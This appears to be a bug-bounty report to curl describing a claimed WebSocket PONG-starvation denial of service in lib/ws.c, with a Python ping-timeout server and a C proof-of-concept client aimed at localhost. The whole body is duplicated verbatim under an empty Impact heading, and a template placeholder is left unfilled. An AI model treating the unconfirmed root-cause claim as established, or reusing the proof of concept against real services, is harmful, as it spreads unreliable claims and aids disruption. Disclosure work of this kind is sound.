Description
Summary: I have discovered a logic flaw in lib/ws.c regarding the handling of WebSocket Control Frames (PING/PONG). According to RFC 6455, Control Frames should be processed as soon as possible, even in the middle of fragmented data frames, to maintain connection state (Keep-Alive).
However, libcurl fails to prioritize PONG responses when it is actively sending a large stream of data via curl_ws_send. If payload_remain > 0, the PONG response is queued behind the user data. If the transfer takes longer than the server's Keep-Alive timeout, the server will drop the connection, resulting in a Denial of Service (DoS) for valid operations.
Affected version Reproduced on the latest curl master branch (and recent releases supporting WebSocket). (Please run curl -V in your terminal and paste the output here)
Steps To Reproduce:
To reproduce this, we need a "Strict" WebSocket Server that enforces a short Keep-Alive timeout, and a Client that saturates the sending queue.
1. Setup the Malicious Server (strict_ws_server.py) This Python script simulates a server that sends a PING every 1 second and disconnects if no PONG is received within 3 seconds.
import socket
import struct
import time
import threading
import select
OP_PING = 0x9
OP_PONG = 0xA
def create_frame(opcode, payload=b""):
b1 = 0x80 | opcode
b2 = len(payload) & 0x7F
return struct.pack("!BB", b1, b2) + payload
def handle_client(conn):
print("[+] Client connected. Handshaking...")
try:
req = conn.recv(4096)
resp = (
b"HTTP/1.1 101 Switching Protocols\r\n"
b"Upgrade: websocket\r\n"
b"Connection: Upgrade\r\n"
b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n"
b"\r\n"
)
conn.sendall(resp)
print("[+] Handshake OK. Monitoring Heartbeat...")
last_pong_time = time.time()
running = True
def pinger():
nonlocal last_pong_time, running
while running:
try:
time.sleep(1)
conn.sendall(create_frame(OP_PING, b"alive?"))
if time.time() - last_pong_time > 3:
print("\n[!!!] TIMEOUT: Client did not reply PONG in 3s!")
running = False
conn.close()
return
except:
running = False
return
t = threading.Thread(target=pinger)
t.start()
while running:
ready = select.select([conn], [], [], 1)
if ready[0]:
data = conn.recv(1024)
if not data: break
opcode = data[0] & 0x0F
if opcode == OP_PONG:
last_pong_time = time.time()
except:
pass
def start_server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 9090))
s.listen(1)
print("[*] Strict Server on 9090...")
while True:
conn, addr = s.accept()
handle_client(conn)
if __name__ == "__main__":
start_server()
2. Setup the Client PoC (poc_ws_starve.c) Compile this with: gcc poc_ws_starve.c -o poc_ws_starve -lcurl This client sends a large amount of data while artificially slowing down slightly to simulate network latency/busy loop, forcing the PONG to be queued.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <curl/curl.h>
int main(void) {
CURL *curl;
CURLcode res;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl) {
// Connect to local strict server
curl_easy_setopt(curl, CURLOPT_URL, "ws://127.0.0.1:9090/");
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);
res = curl_easy_perform(curl);
if(res != CURLE_OK) return 1;
size_t sent;
char buffer[1024];
memset(buffer, 'A', sizeof(buffer));
const struct curl_ws_frame *meta;
size_t rlen;
char rbuf[256];
// Send massive data stream
for(int i=0; i<100000; i++) {
// 1. Send Data (CURLWS_BINARY)
res = curl_ws_send(curl, buffer, sizeof(buffer), &sent, 0, CURLWS_BINARY);
if(res != CURLE_OK) break;
// 2. Sleep briefly to allow Server to send PING
usleep(10000);
// 3. Call recv to process incoming PING
// EXPECTED: Curl should reply PONG immediately.
// ACTUAL: Curl queues PONG behind the data stream because payload_remain > 0.
curl_ws_recv(curl, rbuf, sizeof(rbuf), &rlen, &meta);
}
}
curl_easy_cleanup(curl);
curl_global_cleanup();
return 0;
}
3. Execution
1. Run python3 strict_ws_server.py in Terminal 1.
2. Run ./poc_ws_starve in Terminal 2.
Supporting Material/References:
- RFC 6455 Section 5.5: "Control frames (see Section 5.5) MAY be injected in the middle of a fragmented message."
- Root Cause: In lib/ws.c, function ws_enc_add_cntrl, the code checks if(!ws->enc.payload_remain). If data is being sent, it returns CURLE_OK effectively queuing the PONG without sending it, causing the starvation.
Observed Output (Server Terminal):
[!!!] TIMEOUT: Client did not reply PONG in 3s!
The server disconnects the client despite the client being active, confirming the logic error.
## Impact
## Summary:
However, libcurl fails to prioritize PONG responses when it is actively sending a large stream of data via curl_ws_send. If payload_remain > 0, the PONG response is queued behind the user data. If the transfer takes longer than the server's Keep-Alive timeout, the server will drop the connection, resulting in a Denial of Service (DoS) for valid operations.
Affected version Reproduced on the latest curl master branch (and recent releases supporting WebSocket). (Please run curl -V in your terminal and paste the output here)
Steps To Reproduce:
To reproduce this, we need a "Strict" WebSocket Server that enforces a short Keep-Alive timeout, and a Client that saturates the sending queue.
1. Setup the Malicious Server (strict_ws_server.py) This Python script simulates a server that sends a PING every 1 second and disconnects if no PONG is received within 3 seconds.
import socket
import struct
import time
import threading
import select
OP_PING = 0x9
OP_PONG = 0xA
def create_frame(opcode, payload=b""):
b1 = 0x80 | opcode
b2 = len(payload) & 0x7F
return struct.pack("!BB", b1, b2) + payload
def handle_client(conn):
print("[+] Client connected. Handshaking...")
try:
req = conn.recv(4096)
resp = (
b"HTTP/1.1 101 Switching Protocols\r\n"
b"Upgrade: websocket\r\n"
b"Connection: Upgrade\r\n"
b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n"
b"\r\n"
)
conn.sendall(resp)
print("[+] Handshake OK. Monitoring Heartbeat...")
last_pong_time = time.time()
running = True
def pinger():
nonlocal last_pong_time, running
while running:
try:
time.sleep(1)
conn.sendall(create_frame(OP_PING, b"alive?"))
if time.time() - last_pong_time > 3:
print("\n[!!!] TIMEOUT: Client did not reply PONG in 3s!")
running = False
conn.close()
return
except:
running = False
return
t = threading.Thread(target=pinger)
t.start()
while running:
ready = select.select([conn], [], [], 1)
if ready[0]:
data = conn.recv(1024)
if not data: break
opcode = data[0] & 0x0F
if opcode == OP_PONG:
last_pong_time = time.time()
except:
pass
def start_server():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 9090))
s.listen(1)
print("[*] Strict Server on 9090...")
while True:
conn, addr = s.accept()
handle_client(conn)
if __name__ == "__main__":
start_server()
2. Setup the Client PoC (poc_ws_starve.c) Compile this with: gcc poc_ws_starve.c -o poc_ws_starve -lcurl This client sends a large amount of data while artificially slowing down slightly to simulate network latency/busy loop, forcing the PONG to be queued.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <curl/curl.h>
int main(void) {
CURL *curl;
CURLcode res;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl) {
// Connect to local strict server
curl_easy_setopt(curl, CURLOPT_URL, "ws://127.0.0.1:9090/");
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 2L);
res = curl_easy_perform(curl);
if(res != CURLE_OK) return 1;
size_t sent;
char buffer[1024];
memset(buffer, 'A', sizeof(buffer));
const struct curl_ws_frame *meta;
size_t rlen;
char rbuf[256];
// Send massive data stream
for(int i=0; i<100000; i++) {
// 1. Send Data (CURLWS_BINARY)
res = curl_ws_send(curl, buffer, sizeof(buffer), &sent, 0, CURLWS_BINARY);
if(res != CURLE_OK) break;
// 2. Sleep briefly to allow Server to send PING
usleep(10000);
// 3. Call recv to process incoming PING
// EXPECTED: Curl should reply PONG immediately.
// ACTUAL: Curl queues PONG behind the data stream because payload_remain > 0.
curl_ws_recv(curl, rbuf, sizeof(rbuf), &rlen, &meta);
}
}
curl_easy_cleanup(curl);
curl_global_cleanup();
return 0;
}
3. Execution
1. Run python3 strict_ws_server.py in Terminal 1.
2. Run ./poc_ws_starve in Terminal 2.
Supporting Material/References:
- RFC 6455 Section 5.5: "Control frames (see Section 5.5) MAY be injected in the middle of a fragmented message."
- Root Cause: In lib/ws.c, function ws_enc_add_cntrl, the code checks if(!ws->enc.payload_remain). If data is being sent, it returns CURLE_OK effectively queuing the PONG without sending it, causing the starvation.
Observed Output (Server Terminal):
[!!!] TIMEOUT: Client did not reply PONG in 3s!
The server disconnects the client despite the client being active, confirming the logic error.
## Impact
## Summary:
Basic Information
ID
H1:3480039
Published
Dec 27, 2025 at 18:12
Modified
Dec 28, 2025 at 21:29